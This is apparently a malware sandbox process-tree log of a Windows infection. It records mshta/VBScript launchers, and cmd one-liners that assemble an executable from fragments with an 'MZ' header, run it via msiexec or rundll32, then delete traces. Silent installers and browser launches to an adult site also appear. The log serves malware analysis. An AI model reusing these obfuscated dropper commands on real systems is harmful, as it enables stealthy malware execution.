                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=3720 /prefetch:8
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                        PID:11488
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=2052 /prefetch:8
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                          PID:8008
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=3424 /prefetch:8
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                            PID:8160
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 476 -ip 476
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                    PID:964
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4756 -ip 4756
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                    PID:6544
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5920 -ip 5920
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:6616
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2220 -ip 2220
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:6716
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 6140 -ip 6140
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                        PID:7052
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1624 -ip 1624
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:6672
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 6124 -ip 6124
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:660
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:4680
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4516
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5932
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                                                                                                                                                                                                                                      ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:7104
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1512
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                PID:7120
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6720
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4956
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6988
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                        PID:7060
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                        msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                        PID:6796
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                  taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                  PID:5388
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                              taskkill -f -Im "3154250.exe"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                              PID:456
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                                                                                                                                                                                                                                                              ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1052
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5708
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4392
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6232
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4244
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6496
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6500
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                                                                                                                  control ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6904
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                      PID:6396
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1492
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                            PID:4712
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-NCL45.tmp\setup.tmp
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-NCL45.tmp\setup.tmp" /SL5="$20250,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                PID:3420
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-B6JQH.tmp\setup.tmp
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-B6JQH.tmp\setup.tmp" /SL5="$5031E,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                                                                      PID:1532
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-JOKT5.tmp\postback.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-JOKT5.tmp\postback.exe" ss1
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:3180
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:5300
                                                                                                                                                                                                                                                                                                                                                                                            • C:\ea9ba2b0200bad7a09787a\Setup.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\ea9ba2b0200bad7a09787a\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5928
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5584
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh
                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:9280
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:7784
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh
                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1988
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b4718
                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:9668
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 6368 -ip 6368
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6672
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 5788 -ip 5788
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2488
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2608 -ip 2608
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6804
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 3776 -ip 3776
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6172
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 4040 -ip 4040
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6040
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 6004 -ip 6004
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:7128
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 5380 -ip 5380
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6928
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2264 -ip 2264
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6832
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6112 -ip 6112
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6724
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5548 -ip 5548
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4320
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5960 -ip 5960
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -pss -s 712 -p 7076 -ip 7076
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -pss -s 772 -p 5852 -ip 5852
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6688
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 3472 -ip 3472
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3156
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3696 -ip 3696
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                    PID:2200
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:676
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.100_none_04da31ff4c67c24a\TiWorker.exe -Embedding
